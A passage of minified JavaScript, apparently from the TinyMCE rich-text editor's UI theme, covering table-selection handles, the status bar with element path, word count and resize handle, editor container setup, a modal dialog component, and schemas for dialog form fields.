bottomRightSnaps = getSnapsConfig(getBottomRightSnaps, finishCell, function (finish) { startCell.get().each(function (start) { editor.fire('TableSelectorChange', { start: start, finish: finish }); }); }); var memTopLeft = createSelector(topLeftSnaps); var memBottomRight = createSelector(bottomRightSnaps); var topLeft = build$1(memTopLeft.asSpec()); var bottomRight = build$1(memBottomRight.asSpec()); var showOrHideHandle = function (selector, cell, isAbove, isBelow) { var cellRect = cell.dom.getBoundingClientRect(); remove$6(selector.element, 'display'); var viewportHeight = defaultView(SugarElement.fromDom(editor.getBody())).dom.innerHeight; var aboveViewport = isAbove(cellRect); var belowViewport = isBelow(cellRect, viewportHeight); if (aboveViewport || belowViewport) { set$7(selector.element, 'display', 'none'); } }; var snapTo = function (selector, cell, getSnapConfig, pos) { var snap = getSnapConfig(cell); Dragging.snapTo(selector, snap); var isAbove = function (rect) { return rect[pos] < 0; }; var isBelow = function (rect, viewportHeight) { return rect[pos] > viewportHeight; }; showOrHideHandle(selector, cell, isAbove, isBelow); }; var snapTopLeft = function (cell) { return snapTo(topLeft, cell, getTopLeftSnap, 'top'); }; var snapLastTopLeft = function () { return startCell.get().each(snapTopLeft); }; var snapBottomRight = function (cell) { return snapTo(bottomRight, cell, getBottomRightSnap, 'bottom'); }; var snapLastBottomRight = function () { return finishCell.get().each(snapBottomRight); }; if (detect$1().deviceType.isTouch()) { editor.on('TableSelectionChange', function (e) { if (!isVisible.get()) { attach(sink, topLeft); attach(sink, bottomRight); isVisible.set(true); } startCell.set(e.start); finishCell.set(e.finish); e.otherCells.each(function (otherCells) { tlTds.set(otherCells.upOrLeftCells); brTds.set(otherCells.downOrRightCells); snapTopLeft(e.start); snapBottomRight(e.finish); }); }); editor.on('ResizeEditor ResizeWindow ScrollContent', function () { snapLastTopLeft(); snapLastBottomRight(); }); editor.on('TableSelectionClear', function () { if (isVisible.get()) { detach(topLeft); detach(bottomRight); isVisible.set(false); } startCell.clear(); finishCell.clear(); }); } }; var isHidden = function (elm) { if (elm.nodeType === 1) { if (elm.nodeName === 'BR' || !!elm.getAttribute('data-mce-bogus')) { return true; } if (elm.getAttribute('data-mce-type') === 'bookmark') { return true; } } return false; }; var renderElementPath = function (editor, settings, providersBackstage) { if (!settings.delimiter) { settings.delimiter = '\xBB'; } var getDataPath = function (data) { var parts = data || []; var newPathElements = map$2(parts, function (part, index) { return Button.sketch({ dom: { tag: 'div', classes: ['tox-statusbar__path-item'], attributes: { 'role': 'button', 'data-index': index, 'tab-index': -1, 'aria-level': index + 1 }, innerHtml: part.name }, action: function (_btn) { editor.focus(); editor.selection.select(part.element); editor.nodeChanged(); }, buttonBehaviours: derive$1([ DisablingConfigs.button(providersBackstage.isDisabled), receivingConfig() ]) }); }); var divider = { dom: { tag: 'div', classes: ['tox-statusbar__path-divider'], attributes: { 'aria-hidden': true }, innerHtml: ' ' + settings.delimiter + ' ' } }; return foldl(newPathElements.slice(1), function (acc, element) { var newAcc = acc; newAcc.push(divider); newAcc.push(element); return newAcc; }, [newPathElements[0]]); }; var updatePath = function (parents) { var newPath = []; var i = parents.length; while (i-- > 0) { var parent_1 = parents[i]; if (parent_1.nodeType === 1 && !isHidden(parent_1)) { var args = editor.fire('ResolveName', { name: parent_1.nodeName.toLowerCase(), target: parent_1 }); if (!args.isDefaultPrevented()) { newPath.push({ name: args.name, element: parent_1 }); } if (args.isPropagationStopped()) { break; } } } return newPath; }; return { dom: { tag: 'div', classes: ['tox-statusbar__path'], attributes: { role: 'navigation' } }, behaviours: derive$1([ Keying.config({ mode: 'flow', selector: 'div[role=button]' }), Disabling.config({ disabled: providersBackstage.isDisabled }), receivingConfig(), Tabstopping.config({}), Replacing.config({}), config('elementPathEvents', [runOnAttached(function (comp, _e) { editor.shortcuts.add('alt+F11', 'focus statusbar elementpath', function () { return Keying.focusIn(comp); }); editor.on('NodeChange', function (e) { var newPath = updatePath(e.parents); if (newPath.length > 0) { Replacing.set(comp, getDataPath(newPath)); } else { Replacing.set(comp, []); } }); })]) ]), components: [] }; }; var ResizeTypes; (function (ResizeTypes) { ResizeTypes[ResizeTypes['None'] = 0] = 'None'; ResizeTypes[ResizeTypes['Both'] = 1] = 'Both'; ResizeTypes[ResizeTypes['Vertical'] = 2] = 'Vertical'; }(ResizeTypes || (ResizeTypes = {}))); var getDimensions = function (editor, deltas, resizeType, originalHeight, originalWidth) { var dimensions = {}; dimensions.height = calcCappedSize(originalHeight + deltas.top, getMinHeightSetting(editor), getMaxHeightSetting(editor)); if (resizeType === ResizeTypes.Both) { dimensions.width = calcCappedSize(originalWidth + deltas.left, getMinWidthSetting(editor), getMaxWidthSetting(editor)); } return dimensions; }; var resize = function (editor, deltas, resizeType) { var container = SugarElement.fromDom(editor.getContainer()); var dimensions = getDimensions(editor, deltas, resizeType, get$b(container), get$a(container)); each(dimensions, function (val, dim) { return set$7(container, dim, numToPx(val)); }); fireResizeEditor(editor); }; var getResizeType = function (editor) { var fallback = !editor.hasPlugin('autoresize'); var resize = editor.getParam('resize', fallback); if (resize === false) { return ResizeTypes.None; } else if (resize === 'both') { return ResizeTypes.Both; } else { return ResizeTypes.Vertical; } }; var keyboardHandler = function (editor, resizeType, x, y) { var scale = 20; var delta = SugarPosition(x * scale, y * scale); resize(editor, delta, resizeType); return Optional.some(true); }; var renderResizeHandler = function (editor, providersBackstage) { var resizeType = getResizeType(editor); if (resizeType === ResizeTypes.None) { return Optional.none(); } return Optional.some(render$3('resize-handle', { tag: 'div', classes: ['tox-statusbar__resize-handle'], attributes: { title: providersBackstage.translate('Resize') }, behaviours: [ Dragging.config({ mode: 'mouse', repositionTarget: false, onDrag: function (_comp, _target, delta) { return resize(editor, delta, resizeType); }, blockerClass: 'tox-blocker' }), Keying.config({ mode: 'special', onLeft: function () { return keyboardHandler(editor, resizeType, -1, 0); }, onRight: function () { return keyboardHandler(editor, resizeType, 1, 0); }, onUp: function () { return keyboardHandler(editor, resizeType, 0, -1); }, onDown: function () { return keyboardHandler(editor, resizeType, 0, 1); } }), Tabstopping.config({}), Focusing.config({}) ] }, providersBackstage.icons)); }; var renderWordCount = function (editor, providersBackstage) { var _a; var replaceCountText = function (comp, count, mode) { return Replacing.set(comp, [text(providersBackstage.translate([ '{0} ' + mode, count[mode] ]))]); }; return Button.sketch({ dom: { tag: 'button', classes: ['tox-statusbar__wordcount'] }, components: [], buttonBehaviours: derive$1([ DisablingConfigs.button(providersBackstage.isDisabled), receivingConfig(), Tabstopping.config({}), Replacing.config({}), Representing.config({ store: { mode: 'memory', initialValue: { mode: 'words', count: { words: 0, characters: 0 } } } }), config('wordcount-events', [ runOnExecute$1(function (comp) { var currentVal = Representing.getValue(comp); var newMode = currentVal.mode === 'words' ? 'characters' : 'words'; Representing.setValue(comp, { mode: newMode, count: currentVal.count }); replaceCountText(comp, currentVal.count, newMode); }), runOnAttached(function (comp) { editor.on('wordCountUpdate', function (e) { var mode = Representing.getValue(comp).mode; Representing.setValue(comp, { mode: mode, count: e.wordCount }); replaceCountText(comp, e.wordCount, mode); }); }) ]) ]), eventOrder: (_a = {}, _a[execute$5()] = [ 'disabling', 'alloy.base.behaviour', 'wordcount-events' ], _a) }); }; var renderStatusbar = function (editor, providersBackstage) { var renderBranding = function () { var label = global$e.translate([ 'Powered by {0}', 'Tiny' ]); var linkHtml = '' + label + ''; return { dom: { tag: 'span', classes: ['tox-statusbar__branding'], innerHtml: linkHtml } }; }; var getTextComponents = function () { var components = []; if (editor.getParam('elementpath', true, 'boolean')) { components.push(renderElementPath(editor, {}, providersBackstage)); } if (editor.hasPlugin('wordcount')) { components.push(renderWordCount(editor, providersBackstage)); } if (editor.getParam('branding', true, 'boolean')) { components.push(renderBranding()); } if (components.length > 0) { return [{ dom: { tag: 'div', classes: ['tox-statusbar__text-container'] }, components: components }]; } return []; }; var getComponents = function () { var components = getTextComponents(); var resizeHandler = renderResizeHandler(editor, providersBackstage); return components.concat(resizeHandler.toArray()); }; return { dom: { tag: 'div', classes: ['tox-statusbar'] }, components: getComponents() }; }; var setup$3 = function (editor) { var _a; var isInline = editor.inline; var mode = isInline ? Inline : Iframe; var header = isStickyToolbar(editor) ? StickyHeader : StaticHeader; var lazyOuterContainer = Optional.none(); var platform = detect$1(); var isIE = platform.browser.isIE(); var platformClasses = isIE ? ['tox-platform-ie'] : []; var isTouch = platform.deviceType.isTouch(); var touchPlatformClass = 'tox-platform-touch'; var deviceClasses = isTouch ? [touchPlatformClass] : []; var isToolbarBottom = isToolbarLocationBottom(editor); var uiContainer = getUiContainer(editor); var dirAttributes = global$e.isRtl() ? { attributes: { dir: 'rtl' } } : {}; var verticalDirAttributes = { attributes: (_a = {}, _a[Attribute] = isToolbarBottom ? AttributeValue.BottomToTop : AttributeValue.TopToBottom, _a) }; var lazyHeader = function () { return lazyOuterContainer.bind(OuterContainer.getHeader); }; var isHeaderDocked = function () { return header.isDocked(lazyHeader); }; var resizeUiMothership = function () { set$7(uiMothership.element, 'width', document.body.clientWidth + 'px'); }; var makeSinkDefinition = function () { var isGridUiContainer = eq(body(), uiContainer) && get$c(uiContainer, 'display') === 'grid'; var sinkSpec = { dom: __assign({ tag: 'div', classes: [ 'tox', 'tox-silver-sink', 'tox-tinymce-aux' ].concat(platformClasses).concat(deviceClasses) }, dirAttributes), behaviours: derive$1([Positioning.config({ useFixed: function () { return isHeaderDocked(); } })]) }; var reactiveWidthSpec = { dom: { styles: { width: document.body.clientWidth + 'px' } }, events: derive$2([run$1(windowResize(), resizeUiMothership)]) }; return deepMerge(sinkSpec, isGridUiContainer ? reactiveWidthSpec : {}); }; var sink = build$1(makeSinkDefinition()); var lazySink = function () { return Result.value(sink); }; var memAnchorBar = record({ dom: { tag: 'div', classes: ['tox-anchorbar'] } }); var lazyAnchorBar = function () { return lazyOuterContainer.bind(function (container) { return memAnchorBar.getOpt(container); }).getOrDie('Could not find a anchor bar element'); }; var lazyToolbar = function () { return lazyOuterContainer.bind(function (container) { return OuterContainer.getToolbar(container); }).getOrDie('Could not find more toolbar element'); }; var lazyThrobber = function () { return lazyOuterContainer.bind(function (container) { return OuterContainer.getThrobber(container); }).getOrDie('Could not find throbber element'); }; var backstage = init$7(sink, editor, lazyAnchorBar); var partMenubar = OuterContainer.parts.menubar({ dom: { tag: 'div', classes: ['tox-menubar'] }, backstage: backstage, onEscape: function () { editor.focus(); } }); var toolbarMode = getToolbarMode(editor); var partToolbar = OuterContainer.parts.toolbar(__assign({ dom: { tag: 'div', classes: ['tox-toolbar'] }, getSink: lazySink, providers: backstage.shared.providers, onEscape: function () { editor.focus(); }, type: toolbarMode, lazyToolbar: lazyToolbar, lazyHeader: function () { return lazyHeader().getOrDie('Could not find header element'); } }, verticalDirAttributes)); var partMultipleToolbar = OuterContainer.parts['multiple-toolbar']({ dom: { tag: 'div', classes: ['tox-toolbar-overlord'] }, providers: backstage.shared.providers, onEscape: function () { editor.focus(); }, type: toolbarMode }); var partSocket = OuterContainer.parts.socket({ dom: { tag: 'div', classes: ['tox-edit-area'] } }); var partSidebar = OuterContainer.parts.sidebar({ dom: { tag: 'div', classes: ['tox-sidebar'] } }); var partThrobber = OuterContainer.parts.throbber({ dom: { tag: 'div', classes: ['tox-throbber'] }, backstage: backstage }); var sb = editor.getParam('statusbar', true, 'boolean'); var statusbar = sb && !isInline ? Optional.some(renderStatusbar(editor, backstage.shared.providers)) : Optional.none(); var socketSidebarContainer = { dom: { tag: 'div', classes: ['tox-sidebar-wrap'] }, components: [ partSocket, partSidebar ] }; var hasMultipleToolbar = isMultipleToolbars(editor); var hasToolbar = isToolbarEnabled(editor); var hasMenubar = isMenubarEnabled(editor); var getPartToolbar = function () { if (hasMultipleToolbar) { return [partMultipleToolbar]; } else if (hasToolbar) { return [partToolbar]; } else { return []; } }; var partHeader = OuterContainer.parts.header({ dom: __assign({ tag: 'div', classes: ['tox-editor-header'] }, verticalDirAttributes), components: flatten([ hasMenubar ? [partMenubar] : [], getPartToolbar(), useFixedContainer(editor) ? [] : [memAnchorBar.asSpec()] ]), sticky: isStickyToolbar(editor), editor: editor, sharedBackstage: backstage.shared }); var editorComponents = flatten([ isToolbarBottom ? [] : [partHeader], isInline ? [] : [socketSidebarContainer], isToolbarBottom ? [partHeader] : [] ]); var editorContainer = { dom: { tag: 'div', classes: ['tox-editor-container'] }, components: editorComponents }; var containerComponents = flatten([ [editorContainer], isInline ? [] : statusbar.toArray(), [partThrobber] ]); var isHidden = isDistractionFree(editor); var attributes = __assign(__assign({ role: 'application' }, global$e.isRtl() ? { dir: 'rtl' } : {}), isHidden ? { 'aria-hidden': 'true' } : {}); var outerContainer = build$1(OuterContainer.sketch({ dom: { tag: 'div', classes: [ 'tox', 'tox-tinymce' ].concat(isInline ? ['tox-tinymce-inline'] : []).concat(isToolbarBottom ? ['tox-tinymce--toolbar-bottom'] : []).concat(deviceClasses).concat(platformClasses), styles: __assign({ visibility: 'hidden' }, isHidden ? { opacity: '0', border: '0' } : {}), attributes: attributes }, components: containerComponents, behaviours: derive$1([ receivingConfig(), Disabling.config({ disableClass: 'tox-tinymce--disabled' }), Keying.config({ mode: 'cyclic', selector: '.tox-menubar, .tox-toolbar, .tox-toolbar__primary, .tox-toolbar__overflow--open, .tox-sidebar__overflow--open, .tox-statusbar__path, .tox-statusbar__wordcount, .tox-statusbar__branding a, .tox-statusbar__resize-handle' }) ]) })); lazyOuterContainer = Optional.some(outerContainer); editor.shortcuts.add('alt+F9', 'focus menubar', function () { OuterContainer.focusMenubar(outerContainer); }); editor.shortcuts.add('alt+F10', 'focus toolbar', function () { OuterContainer.focusToolbar(outerContainer); }); editor.addCommand('ToggleToolbarDrawer', function () { OuterContainer.toggleToolbarDrawer(outerContainer); }); editor.addQueryStateHandler('ToggleToolbarDrawer', function () { return OuterContainer.isToolbarDrawerToggled(outerContainer); }); var mothership = takeover(outerContainer); var uiMothership = takeover(sink); setup$b(editor, mothership, uiMothership); var getUi = function () { var channels = { broadcastAll: uiMothership.broadcast, broadcastOn: uiMothership.broadcastOn, register: noop }; return { channels: channels }; }; var setEditorSize = function () { var parsedHeight = numToPx(getHeightWithFallback(editor)); var parsedWidth = numToPx(getWidthWithFallback(editor)); if (!editor.inline) { if (isValidValue('div', 'width', parsedWidth)) { set$7(outerContainer.element, 'width', parsedWidth); } if (isValidValue('div', 'height', parsedHeight)) { set$7(outerContainer.element, 'height', parsedHeight); } else { set$7(outerContainer.element, 'height', '200px'); } } return parsedHeight; }; var renderUI = function () { header.setup(editor, backstage.shared, lazyHeader); setup$6(editor, backstage); setup$5(editor, lazySink, backstage); setup$8(editor); setup$7(editor, lazyThrobber, backstage.shared); map$1(getToolbarGroups(editor), function (toolbarGroupButtonConfig, name) { editor.ui.registry.addGroupToolbarButton(name, toolbarGroupButtonConfig); }); var _a = editor.ui.registry.getAll(), buttons = _a.buttons, menuItems = _a.menuItems, contextToolbars = _a.contextToolbars, sidebars = _a.sidebars; var toolbarOpt = getMultipleToolbarsSetting(editor); var rawUiConfig = { menuItems: menuItems, menus: getMenus(editor), menubar: getMenubar(editor), toolbar: toolbarOpt.getOrThunk(function () { return getToolbar(editor); }), allowToolbarGroups: toolbarMode === ToolbarMode.floating, buttons: buttons, sidebar: sidebars }; register$7(editor, contextToolbars, sink, { backstage: backstage }); setup$4(editor, sink); var elm = editor.getElement(); var height = setEditorSize(); var uiComponents = { mothership: mothership, uiMothership: uiMothership, outerContainer: outerContainer }; var args = { targetNode: elm, height: height }; return mode.render(editor, uiComponents, rawUiConfig, backstage, args); }; return { mothership: mothership, uiMothership: uiMothership, backstage: backstage, renderUI: renderUI, getUi: getUi }; }; var describedBy = function (describedElement, describeElement) { var describeId = Optional.from(get$d(describedElement, 'id')).fold(function () { var id = generate$6('dialog-describe'); set$8(describeElement, 'id', id); return id; }, identity$1); set$8(describedElement, 'aria-describedby', describeId); }; var labelledBy = function (labelledElement, labelElement) { var labelId = getOpt(labelledElement, 'id').fold(function () { var id = generate$6('dialog-label'); set$8(labelElement, 'id', id); return id; }, identity$1); set$8(labelledElement, 'aria-labelledby', labelId); }; var schema$2 = constant$1([ required$1('lazySink'), option('dragBlockClass'), defaultedFunction('getBounds', win), defaulted('useTabstopAt', always), defaulted('eventOrder', {}), field('modalBehaviours', [Keying]), onKeyboardHandler('onExecute'), onStrictKeyboardHandler('onEscape') ]); var basic = { sketch: identity$1 }; var parts$2 = constant$1([ optional({ name: 'draghandle', overrides: function (detail, spec) { return { behaviours: derive$1([Dragging.config({ mode: 'mouse', getTarget: function (handle) { return ancestor(handle, '[role="dialog"]').getOr(handle); }, blockerClass: detail.dragBlockClass.getOrDie(new Error('The drag blocker class was not specified for a dialog with a drag handle: \n' + JSON.stringify(spec, null, 2)).message), getBounds: detail.getDragBounds })]) }; } }), required({ schema: [required$1('dom')], name: 'title' }), required({ factory: basic, schema: [required$1('dom')], name: 'close' }), required({ factory: basic, schema: [required$1('dom')], name: 'body' }), optional({ factory: basic, schema: [required$1('dom')], name: 'footer' }), external$1({ factory: { sketch: function (spec, detail) { return __assign(__assign({}, spec), { dom: detail.dom, components: detail.components }); } }, schema: [ defaulted('dom', { tag: 'div', styles: { position: 'fixed', left: '0px', top: '0px', right: '0px', bottom: '0px' } }), defaulted('components', []) ], name: 'blocker' }) ]); var factory$4 = function (detail, components, spec, externals) { var _a; var dialogComp = value$1(); var showDialog = function (dialog) { dialogComp.set(dialog); var sink = detail.lazySink(dialog).getOrDie(); var externalBlocker = externals.blocker(); var blocker = sink.getSystem().build(__assign(__assign({}, externalBlocker), { components: externalBlocker.components.concat([premade(dialog)]), behaviours: derive$1([ Focusing.config({}), config('dialog-blocker-events', [runOnSource(focusin(), function () { Keying.focusIn(dialog); })]) ]) })); attach(sink, blocker); Keying.focusIn(dialog); }; var hideDialog = function (dialog) { dialogComp.clear(); parent(dialog.element).each(function (blockerDom) { dialog.getSystem().getByDom(blockerDom).each(function (blocker) { detach(blocker); }); }); }; var getDialogBody = function (dialog) { return getPartOrDie(dialog, detail, 'body'); }; var getDialogFooter = function (dialog) { return getPartOrDie(dialog, detail, 'footer'); }; var setBusy = function (dialog, getBusySpec) { Blocking.block(dialog, getBusySpec); }; var setIdle = function (dialog) { Blocking.unblock(dialog); }; var modalEventsId = generate$6('modal-events'); var eventOrder = __assign(__assign({}, detail.eventOrder), (_a = {}, _a[attachedToDom()] = [modalEventsId].concat(detail.eventOrder['alloy.system.attached'] || []), _a)); return { uid: detail.uid, dom: detail.dom, components: components, apis: { show: showDialog, hide: hideDialog, getBody: getDialogBody, getFooter: getDialogFooter, setIdle: setIdle, setBusy: setBusy }, eventOrder: eventOrder, domModification: { attributes: { 'role': 'dialog', 'aria-modal': 'true' } }, behaviours: augment(detail.modalBehaviours, [ Replacing.config({}), Keying.config({ mode: 'cyclic', onEnter: detail.onExecute, onEscape: detail.onEscape, useTabstopAt: detail.useTabstopAt }), Blocking.config({ getRoot: dialogComp.get }), config(modalEventsId, [runOnAttached(function (c) { labelledBy(c.element, getPartOrDie(c, detail, 'title').element); describedBy(c.element, getPartOrDie(c, detail, 'body').element); })]) ]) }; }; var ModalDialog = composite({ name: 'ModalDialog', configFields: schema$2(), partFields: parts$2(), factory: factory$4, apis: { show: function (apis, dialog) { apis.show(dialog); }, hide: function (apis, dialog) { apis.hide(dialog); }, getBody: function (apis, dialog) { return apis.getBody(dialog); }, getFooter: function (apis, dialog) { return apis.getFooter(dialog); }, setBusy: function (apis, dialog, getBusySpec) { apis.setBusy(dialog, getBusySpec); }, setIdle: function (apis, dialog) { apis.setIdle(dialog); } } }); var dialogToggleMenuItemSchema = objOf([ requiredString('type'), requiredString('name') ].concat(commonMenuItemFields)); var dialogToggleMenuItemDataProcessor = boolean; var baseFooterButtonFields = [ field$1('name', 'name', defaultedThunk(function () { return generate$6('button-name'); }), string), optionString('icon'), defaultedStringEnum('align', 'end', [ 'start', 'end' ]), defaultedBoolean('primary', false), defaultedBoolean('disabled', false) ]; var dialogFooterButtonFields = __spreadArray(__spreadArray([], baseFooterButtonFields, true), [requiredString('text')], false); var normalFooterButtonFields = __spreadArray([requiredStringEnum('type', [ 'submit', 'cancel', 'custom' ])], dialogFooterButtonFields, true); var menuFooterButtonFields = __spreadArray([ requiredStringEnum('type', ['menu']), optionString('text'), optionString('tooltip'), optionString('icon'), requiredArrayOf('items', dialogToggleMenuItemSchema) ], baseFooterButtonFields, true); var dialogFooterButtonSchema = choose$1('type', { submit: normalFooterButtonFields, cancel: normalFooterButtonFields, custom: normalFooterButtonFields, menu: menuFooterButtonFields }); var alertBannerFields = [ requiredString('type'), requiredString('text'), requiredStringEnum('level', [ 'info', 'warn', 'error', 'success' ]), requiredString('icon'), defaulted('url', '') ]; var alertBannerSchema = objOf(alertBannerFields); var createBarFields = function (itemsField) { return [ requiredString('type'), itemsField ]; }; var buttonFields = [ requiredString('type'), requiredString('text'), defaultedBoolean('disabled', false), defaultedBoolean('primary', false), field$1('name', 'name', defaultedThunk(function () { return generate$6('button-name'); }), string), optionString('icon'), defaultedBoolean('borderless', false) ]; var buttonSchema = objOf(buttonFields); var checkboxFields = [ requiredString('type'), requiredString('name'), requiredString('label'), defaultedBoolean('disabled', false) ]; var checkboxSchema = objOf(checkboxFields); var checkboxDataProcessor = boolean; var formComponentFields = [ requiredString('type'), requiredString('name') ]; var formComponentWithLabelFields = formComponentFields.concat([optionString('label')]); var collectionFields = formComponentWithLabelFields.concat([defaulted('columns', 'auto')]); var collectionSchema = objOf(collectionFields); var collectionDataProcessor = arrOfObj([ requiredString('value'), requiredString('text'), requiredString('icon') ]); var colorInputFields = formComponentWithLabelFields; var colorInputSchema = objOf(colorInputFields); var colorInputDataProcessor = string; var colorPickerFields = formComponentWithLabelFields; var colorPickerSchema = objOf(colorPickerFields); var colorPickerDataProcessor = string; var customEditorFields = formComponentFields.concat([ defaultedString('tag', 'textarea'), requiredString('scriptId'), requiredString('scriptUrl'), defaultedPostMsg('settings', undefined) ]); var customEditorFieldsOld = formComponentFields.concat([ defaultedString('tag', 'textarea'), requiredFunction('init') ]); var customEditorSchema = valueOf(function (v) { return asRaw('customeditor.old', objOfOnly(customEditorFieldsOld), v).orThunk(function () { return asRaw('customeditor.new', objOfOnly(customEditorFields), v); }); }); var customEditorDataProcessor = string; var dropZoneFields = formComponentWithLabelFields; var dropZoneSchema = objOf(dropZoneFields); var dropZoneDataProcessor = arrOfVal(); var createGridFields = function (itemsField) { return [ requiredString('type'), requiredNumber('columns'), itemsField ]; }; var htmlPanelFields = [ requiredString('type'), requiredString('html'), defaultedStringEnum('presets', 'presentation', [ 'presentation', 'document' ]) ]; var htmlPanelSchema = objOf(htmlPanelFields); var iframeFields = formComponentWithLabelFields.concat([defaultedBoolean('sandboxed', true)]); var iframeSchema = objOf(iframeFields); var iframeDataProcessor = string; var imageToolsFields = formComponentWithLabelFields.concat([requiredOf('currentState', objOf([ required$1('blob'), requiredString('url') ]))]); var imageToolsSchema = objOf(imageToolsFields); var inputFields = formComponentWithLabelFields.concat([ optionString('inputMode'), optionString('placeholder'), defaultedBoolean('maximized', false), defaultedBoolean('disabled', false) ]); var inputSchema = objOf(inputFields); var inputDataProcessor = string; var createLabelFields = function (itemsField) { return [ requiredString('type'), requiredString('label'), itemsField ]; }; var listBoxSingleItemFields = [ requiredString('text'), requiredString('value') ]; var listBoxNestedItemFields = [ requiredString('text'), requiredArrayOf('items', thunkOf('items', function () { return listBoxItemSchema; })) ]; var listBoxItemSchema = oneOf([ objOf(listBoxSingleItemFields), objOf(listBoxNestedItemFields) ]); var listBoxFields = formComponentWithLabelFields.concat([ requiredArrayOf('items', listBoxItemSchema), defaultedBoolean('disabled', false) ]); var listBoxSchema = objOf(listBoxFields); var listBoxDataProcessor = string; var selectBoxFields = formComponentWithLabelFields.concat([ requiredArrayOfObj('items', [ requiredString('text'), requiredString('value') ]), defaultedNumber('size', 1), defaultedBoolean('disabled', false) ]); var selectBoxSchema = objOf(selectBoxFields); var selectBoxDataProcessor = string; var sizeInputFields = formComponentWithLabelFields.concat([ defaultedBoolean('constrain', true), defaultedBoolean('disabled', false) ]); var sizeInputSchema = objOf(sizeInputFields); var sizeInputDataProcessor = objOf([ requiredString('width'), requiredString('height') ]); var tableFields = [ requiredString('type'), requiredArrayOf('header', string), requiredArrayOf('cells', arrOf(string)) ]; var tableSchema = objOf(tableFields); var textAreaFields = formComponentWithLabelFields.concat([ optionString('placeholder'), defaultedBoolean('maximized', false), defaultedBoolean('disabled', false) ]); var textAreaSchema = objOf(textAreaFields); var textAreaDataProcessor = string; var urlInputFields = formComponentWithLabelFields.concat([ defaultedStringEnum('filetype', 'file', [ 'image', 'media', 'file' ]), defaulted('disabled', false) ]); var urlInputSchema = objOf(urlInputFields); var urlInputDataProcessor = objOf([ requiredString('value'), defaulted('meta', {}) ]); var createItemsField = function (name) { return field$1('items', 'items', required$2(), arrOf(valueOf(function (v) { return asRaw('Checking item of ' + name, itemSchema, v).fold(function (sErr) { return Result.error(formatError(sErr)); }, function (passValue) { return Result.value(passValue); }); }))); }; var itemSchema = valueThunk(function () { return choose$2('type', { alertbanner: alertBannerSchema, bar: objOf(createBarFields(createItemsField('bar'))), button: buttonSchema, checkbox: checkboxSchema, colorinput: colorInputSchema, colorpicker: colorPickerSchema, dropzone: dropZoneSchema, grid: objOf(createGridFields(createItemsField('grid'))), iframe: iframeSchema, input: inputSchema, listbox: listBoxSchema, selectbox: selectBoxSchema, sizeinput: sizeInputSchema, textarea: textAreaSchema, urlinput: urlInputSchema, customeditor: customEditorSchema, htmlpanel: htmlPanelSchema, imagetools: imageToolsSchema, collection: collectionSchema, label: objOf(createLabelFields(createItemsField('label'))), table: tableSchema, panel: panelSchema }); }); var panelFields = [ requiredString('type'), defaulted('classes', []), requiredArrayOf('items', itemSchema) ]; var panelSchema = objOf(panelFields); var tabFields = [ field$1('name', 'name', defaultedThunk(function () { return generate$6('tab-name'); }), string), requiredString('title'), requiredArrayOf('items', itemSchema) ]; var tabPanelFields = [ requiredString('type'), requiredArrayOfObj('tabs', tabFields) ]; var tabPanelSchema = objOf(tabPanelFields); var dialogButtonFields = dialogFooterButtonFields; var dialogButtonSchema = dialogFooterButtonSchema; var dialogSchema = objOf([ requiredString('title'), requiredOf('body', choose$2('type', { panel: panelSchema, tabpanel: tabPanelSchema })), defaultedString('size', 'normal'), requiredArrayOf('buttons', dialogButtonSchema), defaulted('initialData', {}), defaultedFunction('onAction', noop), defaultedFunction('onChange', noop), defaultedFunction('onSubmit', noop), defaultedFunction('onClose', noop), defaultedFunction('onCancel', noop), defaulted('onTabChange', noop) ]); var createDialog = function (spec) { return asRaw('dialog', dialogSchema, spec); }; var urlDialogButtonSchema = objOf(__spreadArray([requiredStringEnum('type', [ 'cancel', 'custom' ])], dialogButtonFields, true)); var urlDialogSchema = objOf([ requiredString('title'), requiredString('url'), optionNumber('height'), optionNumber('width'), optionArrayOf('buttons', urlDialogButtonSchema), defaultedFunction('onAction', noop), defaultedFunction('onCancel', noop), defaultedFunction('onClose', noop), defaultedFunction('onMessage', noop) ]); var createUrlDialog = function (spec) { return asRaw('dialog', urlDialogSchema, spec); }; var getAllObjects = function (obj) { if (isObject(obj)) { return [obj].concat(bind$3(values(obj), getAllObjects)); } else if (isArray(obj)) { return bind$3(obj, getAllObjects); } else { return []; } }; var isNamedItem = function (obj) { return isString(obj.type) && isString(obj.name); }; var dataProcessors = { checkbox: checkboxDataProcessor, colorinput: colorInputDataProcessor, colorpicker: colorPickerDataProcessor, dropzone: dropZoneDataProcessor, input: inputDataProcessor, iframe: iframeDataProcessor, sizeinput: sizeInputDataProcessor, selectbox: selectBoxDataProcessor, listbox: listBoxDataProcessor, size: sizeInputDataProcessor, textarea: textAreaDataProcessor, urlinput: urlInputDataProcessor, customeditor: customEditorDataProcessor, collection: collectionDataProcessor, togglemenuitem: dialogToggleMenuItemDataProcessor }; var getDataProcessor = function (item) { return Optional.from(dataProcessors[item.type]); }; var getNamedItems = function (structure) { return filter$2(getAllObjects(structure), isNamedItem); }; var createDataValidator = function (structure) { var namedItems = getNamedItems(structure); var fields = bind$3(namedItems, function (item) { return getDataProcessor(item).fold(function () { return []; }, function (schema) { return [requiredOf(item.name, schema)]; }); }); return objOf(fields); }; var extract = function (structure) { var internalDialog = getOrDie(createDialog(structure)); var dataValidator = createDataValidator(structure); var initialData = structure.initialData; return { internalDialog: internalDialog, dataValidator: dataValidator, initialData: initialData }; }; var DialogManager = { open: function (factory, structure) { var extraction = extract(structure); return factory(extraction.internalDialog, extraction.initialData, extraction.dataValidator); }, openUrl: function (factory, structure) { var internalDialog = getOrDie(createUrlDialog(structure)); return factory(internalDialog); }, redial: function (structure) { return extract(structure); } }; var toValidValues = function (values) { var errors = []; var result = {}; each(values, function (value, name) { value.fold(function () { errors.push(name); }, function (v) { result[name] = v; }); }); return errors.length > 0 ? Result.error(errors) : Result.value(result); }; var renderBodyPanel = function (spec, backstage) { var memForm = record(Form.sketch(function (parts) { return { dom: { tag: 'div', classes: ['tox-form'].concat(spec.classes) }, components: map$2(spec.items, function (item) { return interpretInForm(parts, item, backstage); }) }; })); return { dom: { tag: 'div', classes: ['tox-dialog__body'] }, components: [{ dom: { tag: 'div', classes: ['tox-dialog__body-content'] }, components: [memForm.asSpec()] }], behaviours: derive$1([ Keying.config({ mode: 'acyclic', useTabstopAt: not(isPseudoStop) }), ComposingConfigs.memento(memForm), RepresentingConfigs.memento(memForm, { postprocess: function (formValue) { return toValidValues(formValue).fold(function (err) { console.error(err); return {}; }, identity$1); } }) ]) }; }; var factory$3 = function (detail, _spec) { return { uid: detail.uid, dom: detail.dom, components: detail.components, events: events$a(detail.action), behaviours: augment(detail.tabButtonBehaviours, [ 